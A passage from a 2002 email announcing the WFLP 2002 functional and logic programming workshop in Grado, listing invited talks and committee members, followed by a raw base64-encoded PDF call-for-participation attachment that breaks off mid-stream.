The workshop will be a 3-day event including presentations of the accepted papers, system demos, and 3 INVITED TALKS:

Yike Guo:         "Declarative Programming in the Post-Internet Era"
Peter Thiemann:   "Programmable Type Systems for Domain SpecificLanguages"
Giorgio Delzanno: "Verification of logic programs based on constraints"


-------------------------------------------------------------------------------
PROGRAM COMMITTEE

Maria Alpuente (Technical University of Valencia)
Sergio Antoy (Portland State University)
Manuel Chakravarty (University of New South Wales, Sidney)
Rachid Echahed (IMAG, Grenoble) 
Francois Fages (INRIA Rocquencourt)
Moreno Falaschi (Univ. Udine, chair) 
Thom Fruewirth (LMU Munich)
Robert Glück (Waseda Univ., Japan and DIKU, Denmark)
Michael Hanus (CAU Kiel)
Tetsuo Ida (University of Tsukuba)
Helene Kirchner (Univ. Nancy)
Herbert Kuchen (Univ. Muenster) 
Michael Maher (Loyola University Chicago)
Juan Jose Moreno Navarro (UP Madrid) 
Ernesto Pimentel (Univ. Malaga)
Mario Rodriguez-Artalejo (UC Madrid) 


-------------------------------------------------------------------------------
LOCAL ORGANIZING COMMITTEE

Gianluca Amato
Demis Ballis
Marco Comini
Luca Di Gaspero
Agostino Dovier
Moreno Falaschi
Alicia Villanueva
-------------------------------------------------------------------------------
Please find attached (in PDF format) the fully detailed CALL FOR PARTICIPATION.  This was a text-only summary.

We hope to see you in Grado,
Best Regards,
-- 
WFLP 2002 Organizing Committee
http://www.dimi.uniud.ut/~wflp2002/
--============_-1189852384==_ma============-- --============_-1189852384==_============ Content-Id: Content-Type: multipart/appledouble; boundary="============_-1189852384==_D============" --============_-1189852384==_D============ Content-Transfer-Encoding: base64 Content-Type: application/applefile; name="%callforparticipation.pdf" Content-Disposition: attachment; filename="%callforparticipation.pdf" ; modification-date="Fri, 24 May 2002 20:22:28 +0200" AAUWBwACAAAAAAAAAAAAAAAAAAAAAAAAAAMAAAADAAAAPgAAABgAAAAJAAAAVgAAACAA AAAIAAAAdgAAABBjYWxsZm9ycGFydGljaXBhdGlvbi5wZGZQREYgQ0FSTwEAAAAAAQAA AAAAAAAAAAAAAAAAAAAAAASA3DYEgV2ES20MAASBc0A= --============_-1189852384==_D============ Content-Type: application/pdf; name="callforparticipation.pdf" ; x-mac-type="50444620" ; x-mac-creator="4341524F" Content-Disposition: attachment; filename="callforparticipation.pdf" Content-Transfer-Encoding: base64 JVBERi0xLjIKNSAwIG9iago8PCAvUyAvR29UbyAvRCAoc2VjdGlvbiouMSkgPj4KZW5k b2JqCjggMCBvYmoKKENvbmZlcmVuY2UgU2l0ZSkKZW5kb2JqCjkgMCBvYmoKPDwgL1Mg L0dvVG8gL0QgKHNlY3Rpb24qLjIpID4+CmVuZG9iagoxMiAwIG9iagooT3JnYW5pemVk IGJ5KQplbmRvYmoKMTMgMCBvYmoKPDwgL1MgL0dvVG8gL0QgKHNlY3Rpb24qLjMpID4+ CmVuZG9iagoxNiAwIG9iagood2l0aCBDb250cmlidXRpb24gZnJvbSkKZW5kb2JqCjE3 IDAgb2JqCjw8IC9TIC9Hb1RvIC9EIChzZWN0aW9uKi40KSA+PgplbmRvYmoKMjAgMCBv YmoKKFByb2dyYW0gQ2hhaXIpCmVuZG9iagoyMSAwIG9iago8PCAvUyAvR29UbyAvRCAo c2VjdGlvbiouNSkgPj4KZW5kb2JqCjI0IDAgb2JqCihQcm9ncmFtIENvbW1pdHRlZSkK ZW5kb2JqCjI1IDAgb2JqCjw8IC9TIC9Hb1RvIC9EIChzZWN0aW9uKi42KSA+PgplbmRv YmoKMjggMCBvYmoKKE9yZ2FuaXppbmcgQ29tbWl0dGVlKQplbmRvYmoKMjkgMCBvYmoK PDwgL1MgL0dvVG8gL0QgKHNlY3Rpb24qLjcpID4+CmVuZG9iagozMiAwIG9iagooUmVn aXN0cmF0aW9uKQplbmRvYmoKMzMgMCBvYmoKPDwgL1MgL0dvVG8gL0QgKHNlY3Rpb24q LjgpID4+CmVuZG9iagozNiAwIG9iagooUGF5bWVudCkKZW5kb2JqCjM3IDAgb2JqCjw8 IC9TIC9Hb1RvIC9EIChzZWN0aW9uKi45KSA+PgplbmRvYmoKNDAgMCBvYmoKKEJhbmsg QWNjb3VudCBJbmZvcm1hdGlvbikKZW5kb2JqCjQxIDAgb2JqCjw8IC9TIC9Hb1RvIC9E IChzZWN0aW9uKi4xMCkgPj4KZW5kb2JqCjQ0IDAgb2JqCihTb2NpYWwgRXZlbnRzKQpl bmRvYmoKNDUgMCBvYmoKPDwgL1MgL0dvVG8gL0QgKHNlY3Rpb24qLjExKSA+PgplbmRv YmoKNDggMCBvYmoKKFRyYXZlbCBJbnN0cnVjdGlvbnMpCmVuZG9iago0OSAwIG9iago8 PCAvUyAvR29UbyAvRCAoc2VjdGlvbiouMTIpID4+CmVuZG9iago1MiAwIG9iagooQ29u ZmVyZW5jZSBTaXRlKQplbmRvYmoKNTMgMCBvYmoKPDwgL1MgL0dvVG8gL0QgKHNlY3Rp b24qLjEzKSA+PgplbmRvYmoKNTYgMCBvYmoKKEFjY29tbW9kYXRpb24pCmVuZG9iago1 NyAwIG9iago8PCAvUyAvR29UbyAvRCAoc2VjdGlvbiouMTQpID4+CmVuZG9iago2MCAw IG9iagooUHJvZ3JhbSkKZW5kb2JqCjYxIDAgb2JqCjw8IC9TIC9Hb1RvIC9EIChzZWN0 aW9uKi4xNSkgPj4KZW5kb2JqCjY0IDAgb2JqCihQcm9ncmFtIFNjaGVkdWxlKQplbmRv YmoKNjUgMCBvYmoKPDwgL1MgL0dvVG8gL0QgWzY2IDAgUiAgL0ZpdCBdID4+CmVuZG9i ago2OCAwIG9iaiA8PAovTGVuZ3RoIDEyMTYgICAgICAKL0ZpbHRlciAvRmxhdGVEZWNv ZGUKPj4Kc3RyZWFtCnja3VhNc9s2EL37V/BWchpC+CIJ+pY6tasknnpcKTnUPSCiZGEs Ei5F2bF+fXcBkqZkxW6nObQezYgrYLHA7r59C4oFFD4syAXJmQoySQmlPJiVRyzwn5ug kz7AmNcWiSJpkoD8gmLMmSIqFUEsEnim39b/to2EyG6rnyZHo1OWB0wSIdNgsnAqk+L3 8PPpx4sfIhZSHv0xee+VGMlhISjFTAqSgFsxg6fM3QoG2qyBr2UUiywNxyBWkWBhM6+j GGQNA42BL1vpFerI8HOUi9DCkNO4AWG9tLc4l7jhyounqLapZmjduHFvIAl1VXjhiiYU Jma2WuM2tTawNw8bGGfoAZw+JxIDNzjyR7R1jUea+TNfdEdxE7Uu4VHifHWNRo5+njxm IsmIUnkQQ4ZTmWE0cRgnb4JO+tBGOAkYJTnNhxFeRlyFTXML1o9Ho/v7e9yXwK/ClIZs cFPceVPgmGlGPg88G5hiXBGmeGvwigraJmu4nyJSyVbl/oqyBHfkAMrRvktMAWhF/jdQ yDLpQNQFs4fSIUcxNbhnPUcPV+hNiZKLq64fIPRChDO9WnlpYWsv4CJdN21+YIEbaIyt uqwOT88zQjEfQhKVqO9RGJwOMN95M63MXcSzcF6vTYMpxPPDb0TMwovTwlRzDzowKdId zJ3VurCol3aYHaNvCG29eujhGkPa8mxn5fsNWHUbcCzMmOPjzWAEjQ3Kta9pKFeS5gqg KgjLmTN24spo4UtzXs3mvox+M3gQl6jjA1iKGWckBQzGEO1cZc7UL7aZt6l7ZzSUOZ6f 7hz9k9Fe4Yz456dICQhhgWB444fEgXVjyCbNhNOQ4RmCyEcP9DF6OGLxsDUa2hqN8Wvt jRuI59Bm4kxO3M4rOIeUMvxR5F6bSuE3gXryI1xmXhj5iX1VAarUT1GeHjj8aaRkqL/u 7iSHy1tB+LrdYRfGcyIUQidNCeX8O/LLEvNVYFVBsohL+FMq4CkRqXyZCgTJOJAq9i/G nm8pv9bX2lHa1uGrJe4vSNMPh8EmoHmqXbC9Mx0rlPPKedjCARxyz3PdzEsgCccYLerm PvLjCmvU1m5atzCZuiM9LWmYsotWxQXLl/Seb9DmlYB0yYTQlHuOReVm6b07ce3OdaLa fNk8NjA/veibTXn8FAKd+4wyQkXyUioYpkwM+Ss7yMYs299qQHz/6OJwCHZvt8alF2Nd 6N3cuC5gS7t1bG4rTzWYmgb7XW3WmBg/4qihJQ0oel/oONGuePsnNkez6ujKaPIkgoAb nolhl/rvx+8EbjC23hrbw/MOIemwqWvzGIei87zlXkc3tcFArszzsfifQMl5ZKtCb3ew cnKJxTq9wNnXkfNLl8drfzfu8I2JbGxlS93nV/g+t1mZvovKsK82J2z7Ttsi4ZWURU/T yvuJgVi7uocrPhdRQmnH9j1zSGBulPvgvI5QnI+nl6+E67RL4XqvTVya9a2uS7PX2c9s d8t7Fex2UTsuB0DfmWpm9LPO7l87UpLwvL12sNacve7eXvFNu3y8gCy1qQ9fsBi8w/LE X7D8/erc7dtzSttr/FV2pdczpN4lnJHRPAmnpL8gDfgZL+bjyaFXtMc0UQ5vmum//lvk L4kD0ptlbmRzdHJlYW0KZW5kb2JqCjY2IDAgb2JqIDw8Ci9UeXBlIC9QYWdlCi9Db250 ZW50cyA2OCAwIFIKL1Jlc291cmNlcyA2NyAwIFIKL01lZGlhQm94IFswIDAgNTk1LjI3 NiA4NDEuODldCi9QYXJlbnQgODUgMCBSCi9Bbm5vdHMgWyA3NCAwIFIgODQgMCBSIF0K Pj4gZW5kb2JqCjc0IDAgb2JqIDw8Ci9UeXBlIC9Bbm5vdAovQm9yZGVyIFswIDAgMF0g L0ggL0kgL0MgWzAgMSAxXQovUmVjdCBbMTgwLjI3OSA2NTkuNzY1IDM2Ni4yMTEgNjcy LjY2N10KL1N1YnR5cGUgL0xpbmsgL0EgPDwgL1R5cGUgL0FjdGlvbiAvUyAvVVJJIC9V UkkgKGh0dHA6Ly93d3cuZGltaS51bml1ZC5pdC9+d2ZscDIwMDIvKSA+Pgo+PiBlbmRv YmoKODQgMCBvYmogPDwKL1R5cGUgL0Fubm90Ci9Cb3JkZXIgWzAgMCAwXSAvSCAvSSAv QyBbMCAxIDFdCi9SZWN0IFs5Mi45MjIgNDQ1LjMzNiAyMjEuMjc4IDQ1OC4yMzhdCi9T dWJ0eXBlIC9MaW5rIC9BIDw8IC9UeXBlIC9BY3Rpb24gL1MgL1VSSSAvVVJJIChodHRw Oi8vd3d3LmhvdGVsZGlhbmEuaXQvKSA+Pgo+PiBlbmRvYmoKNjkgMCBvYmogPDwKL0Qg WzY2IDAgUiAvWFlaIDkzLjkxOCA3NDAuMDAyIG51bGxdCj4+IGVuZG9iago3MCAwIG9i aiA8PAovRCBbNjYgMCBSIC9YWVogOTMuOTE4IDcxNS4wOTUgbnVsbF0KPj4gZW5kb2Jq CjYgMCBvYmogPDwKL0QgWzY2IDAgUiAvWFlaIDkzLjkxOCA1MzIuMjI2IG51bGxdCj4+ IGVuZG9iagoxMCAwIG9iaiA8PAovRCBbNjYgMCBSIC9YWVogOTMuOTE4IDM3NS4wOTMg bnVsbF0KPj4gZW5kb2JqCjE0IDAgb2JqIDw8Ci9EIFs2NiAwIFIgL1hZWiA5My45MTgg MzA0LjgzNCBudWxsXQo+PiBlbmRvYmoKMTggMCBvYmogPDwKL0QgWzY2IDAgUiAvWFla IDkzLjkxOCAxMzQuMTUxIG51bGxdCj4+IGVuZG9iago2NyAwIG9iaiA8PAovRm9udCA8 PCAvRjE5IDczIDAgUiAvRjE1IDc3IDAgUiAvRjI3IDgwIDAgUiAvRjIwIDgzIDAgUiA+ PgovUHJvY1NldCBbIC9QREYgL1RleHQgXQo+PiBlbmRvYmoKODggMCBvYmogPDwKL0xl bmd0aCAxNjYxICAgICAgCi9GaWx0ZXIgL0ZsYXRlRGVjb2RlCj4+CnN0cmVhbQp42t1Y S3PaSBC+51dwW7G1yBqNRo/ciF/BNjaFITms9zAGWcxaSKyQTCWX/PXt7hkJDChU7V62 tlJFpFFPP77+uqfHrOPAP9ZhHrMDHnYCz7Edx+3Mlh9YR/977dRPt7CmxbkIbV8IeD4h 2HOFZ7uB6PS4sEPfR/lPkw9nVywCmzb3/M7khWQn89+tUZEnXWYV3R6zJDwsuz0eCOsc HvMlviv4KUv4iVEk/tj9Y3IDukSHOXbkRKirF4W2BxH0XN92hEt6h7LoMuZaT47LuzyM 8MGRoJxzq5+uqlph1nVDq4RHEUW+NbVH3dCzbC33pRtyS6ZbUWbN8EEZPU+OcC4fYRUe GPoFMfUYt4UXkQ+PcZGg+zmKe1Zf26IFN7C+dXsBixxrhKt5gWGmMpujrGs9lhKdwm1T tKvewCfP88jmFG32W4wOJZiJrCpO9fbzBQjL10Kimbeu8C1ZlPgM9nkYunv68xcd2z2F vNEvjzniVS7029f3sKx/M0JqDktZ/G0LTh/tTB/3PRXk6FjOEAZ0T831nssZbljIRa0b 1kUQ+NZgSKqujalrZEyTk/w5jbc2r8YtwFxhZguZzXK11tDQikx0FN2e74XCGtyPB339 eQx5Awcp5X9VBywgTADK05aHlN2tv7vWU7nWMCgM1fVb0jGdKwJXb0Vrg0mLtckiX+pN V5ioovF8gbzYEIHJc0incICAd8Oplh+iaKYoQMpME9pFi61x/kwYkf4ai+uU1n50BaSs IlWvgG7EIqQOxLymSp6bKpqSRR2wIGvwejMiiyRgioJbF/BhgHtv4WG6hQLXb9uw34Yj dUlw67OkSqwo58yxzjVPtULUrSie9CfxawpPEOC4pHiqbWYHWAgQXcjCsCWfk2bPa/Ws petobuB11BLN5zhtaGS4cKuKbcI0RaidiiAKrbsHw2Zu9YxvW37fES0LqXa0/ZTHn+Pi SLpvq137xr2eCFu5PHxXSwREGRenyXYslcNtrwANPgeG3+W6u2FXTbccewM5wzFqiYqK WCb51vBP++oNeg3EIembXHPYOJEXcWb03Nd9VliS4IV15uDRMjLCqGZeYCzzE8eIJtll QWnVOBkrIwxgSS6YAwzwEC6dYMYMHXzCcXSnlskOwy5h4bH1+EBzytgZU6OjnGuXkyr+ jmu9flHKNP4To/OZsKbndT7mxU5DPwhtbwqIHDvkUafnCRumBnLgoUgkdYTvKktwGIAj LMdBAKcBhadnGVO+j08CRiFNApwUXiuJPEurunHXUwDhJ/V5fAjERbysW6U5Lj6RPKKZ wgnSBt3MQIYmzvNGB4TUc90wIEgMiakNL2XWkop+kq9LVRPrgmj9pqBS/vEJc7jxrpoZ OC6U6d66Pa90oRf5ISH7qZrVI9AXlaa6LrChxpr3RxLN3MD2Iw4zYWC7oc70OKbpaF0W sqQxKTuaUsa57QeMcso5M1vRx0Q1/QPDBy15higHMEXCT9V81YtN74I8WDr5c40aLjyb mQglnxzmpSmlLdEr5cKIQQOeNRbzDLsILo+xpq4Hj5NxH8+EyeDhXm+8QrUP4+EhjIp6 CY1VppO41terOyztXxxXv29wd/ysBSkWBWMhqPpwOWkGbhbZHMZsKKIISB/gvI3L+PG1 Uz/dmhl8F9p6Bl9QCylXYPnj2dlmQzOCjQ1KLZWthwL8ndtUgmc6S26wo4q5oc1C1yh8 crhzJJUwpYfCiGwAY4EWXbh7nBVxcqYHusSuayhR+4G63CNVp68g9WWlpnpzBTkW/kbV k20RpzB2m961ok7+bWk6rL3vjRfaQYi0BGY7UbtL7W4K26svVOQdd454d4/FDJR6ob5S 6CuS7kmwusGM0LCCByKUO3LFJTrB1xWePtzgCScIbKPocCMEnVel3gShwiYKFf7Xoe6X IV7quE9VKKKTRYgAqmZUpt4710fYx30cG82CA4XYqdwy6AK+t4PaOx46DQNZsG9oB+5T WdnVf5QzsizjjMa8bGZGJ2nmIWoVuDDLs5ftcLJ/fTBCePxUZU6Hq0wJIXPJgUZTVkVs Dh86wwwz4eR9XR/ACDx0A75L+f8+jLMcLHCCw+Dx3CAlX+ubJdEnez9i1t+aywH2ErjZ wtG0OqChyct2zF3jTBOa2zwhr2VI9Rs1XV3161//FzjnmRlV9XSyqu//sFJP5bvwrMzg ihDpP7vMqZiTdtZx13ac6F//EelvxGVUbGVuZHN0cmVhbQplbmRvYmoKODcgMCBvYmog PDwKL1R5cGUgL1BhZ2UKL0NvbnRlbnRzIDg4IDAgUgovUmVzb3VyY2VzIDg2IDAgUgov TWVkaWFCb3ggWzAgMCA1OTUuMjc2IDg0MS44OV0KL1BhcmVudCA4NSAwIFIKL0Fubm90 cyBbIDkwIDAgUiBdCj4+IGVuZG9iago5MCAwIG9iaiA8PAovVHlwZSAvQW5ub3QKL0Jv cmRlciBbMCAwIDBdIC9IIC9JIC9DIFswIDEgMV0KL1JlY3QgWzI2NC40ODggMjQxLjM1 NiA1MDEuMzkgMjU0LjI1N10KL1N1YnR5cGUgL0xpbmsgL0EgPDwgL1R5cGUgL0FjdGlv biAvUyAvVVJJIC9VUkkgKGh0dHA6Ly93d3cuZGltaS51bml1ZC5pdC9+d2ZscDIwMDIv cmVnL3JlZy5jZ2kpID4+Cj4+IGVuZG9iago4OSAwIG9iaiA8PAovRCBbODcgMCBSIC9Y WVogMTQxLjczOCA3NDAuMDAyIG51bGxdCj4+IGVuZG9iagoyMiAwIG9iaiA8PAovRCBb ODcgMCBSIC9YWVogMTQxLjczOCA2ODkuNTgzIG51bGxdCj4+IGVuZG9iagoyNiAwIG9i aiA8PAovRCBbODcgMCBSIC9YWVogMTQxLjczOCA0MTUuMDM5IG51bGxdCj4+IGVuZG9i agozMCAwIG9iaiA8PAovRCBbODcgMCBSIC9YWVogMTQxLjczOCAyNzAuNDA3IG51bGxd Cj4+IGVuZG9iago4NiAwIG9iaiA8PAovRm9udCA8PCAvRjE5IDczIDAgUiAvRjE1IDc3 IDAgUiAvRjI3IDgwIDAgUiAvRjMwIDkzIDAgUiA+PgovUHJvY1NldCBbIC9QREYgL1Rl eHQgXQo+PiBlbmRvYmoKOTYgMCBvYmogPDwKL0xlbmd0aCAyMTUyICAgICAgCi9GaWx0 ZXIgL0ZsYXRlRGVjb2RlCj4+CnN0cmVhbQp42t1aW3PbthJ+16/Q26EyEQqA4K1vsZPM OCed5KTOyZxp+0CTlM2JRKok1Yz667sXgKQsyfJplYzb8YNAAljufrv77YK0mkr4U9PE F4mKp5GRQko9zVYTNeW/z1M3+jfc49V+EIswCGB8YuHcD33hB3o6D2MRR8nx9cdlBMLA o4wvgsjg/l8nP/0ip/lETt9MpPCTePoFxlKoJJmuJn4QCeUn9no5+XHyn0EbvjlXIMsk R2XRIgmyeGRX74pSUSDCWDMCf1pKKFQUTY2QIVl2cT357rUKpkqKRCbT6wUtu85/8oq0 WW5nc9/3vaa4LduuSbuyrma/XL+ZvLru5cWRMCaYznuJX1+zZdoVTrHZXHm35Ux5LY66 BkaH1VQQPdE51Jyzu2P2afAEXKqMSPyAkAseRu5nGcib2VxHHgG3ALTqhrA03psNXFUW 2ABWqvsYRpCBscXwL9oNvlbRYzVOUc+ONG5YvZGu5oiuSkTqLLqCv0PAN8FUxm1PhQ6G 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 ZXMgOTQgMCBSCi9NZWRpYUJveCBbMCAwIDU5NS4yNzYgODQxLjg5XQovUGFyZW50IDg1 IDAgUgo+PiBlbmRvYmoKOTcgMCBvYmogPDwKL0QgWzk1IDAgUiAvWFlaIDkzLjkxOCA3 NDAuMDAyIG51bGxdCj4+IGVuZG9iagozNCAwIG9iaiA8PAovRCBbOTUgMCBSIC9YWVog OTMuOTE4IDU1NC4xNTUgbnVsbF0KPj4gZW5kb2JqCjM4IDAgb2JqIDw8Ci9EIFs5NSAw IFIgL1hZWiA5My45MTggMjkzLjE3NyBudWxsXQo+PiBlbmRvYmoKOTQgMCBvYmogPDwK L0ZvbnQgPDwgL0YxNSA3NyAwIFIgL0YyNyA4MCAwIFIgL0YxOSA3MyAwIFIgL0YzMCA5 MyAwIFIgPj4KL1Byb2NTZXQgWyAvUERGIC9UZXh0IF0KPj4gZW5kb2JqCjEwMCAwIG9i aiA8PAovTGVuZ3RoIDI0NDQgICAgICAKL0ZpbHRlciAvRmxhdGVEZWNvZGUKPj4Kc3Ry ZWFtCnja3VpbU9vIEn7nV/hRroqVuUoav3E2JJXNcnJOcKVqz2YfFCxAFWMlsoCwv/70 1z2SDQZCEpZKtqhCPaO59G16uj9ZjxT96ZF2Os1tMcqdSpUyo8PTHT2Svw+jnnpFfTLc +iLNvCf6CwMnxhSpL/LRxPq0yDKM/9ds5+lzHWjP1LpsNDvisbP5H8lBM55YnRzWY52U C6Jzn+ydj6mrWuJ/R/2r6fjP2a+0gB9plQYVsMBEW+I7K2g/WtQbXm2XFrA2uRibPKkW h+OJTprTCp0uaWmlCj2H/P8jNbu6WcYZ9WIh1PvxBJNlzkk/ZzFHh0kaNJZCz0CfjE1I ztrVvBybIrmUNYzqMDMF2yOdpcHm4Df1LjCbr2kFU6jk+bggvuo5ZAfLl9Jt9KoDRQxG BkB/LFtm+bD+WC6xa7eSF2UbRxw27Vz0uIgr1UtwdY7OjuWYS3/XyLOMjPC7zzSKVXZG RLti3cigOQsyuUGSUgQWTS9p3lHVVqKjuFglI+Y1epZVe6tS4AmkA55UwxVMyJLqHALE FYlid8CrIimjQU3Ik+ad0pZ3a6u5zGQR6dVg9uN61UXm4hC4QNmyRkHJBqt0PHFkXbKN TZq2HxmdgqTE2EXct2RuD5vT3qPKybaqPIvHq1/CEstjUok3g3Gtt7ewglWfYIDwumAG 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 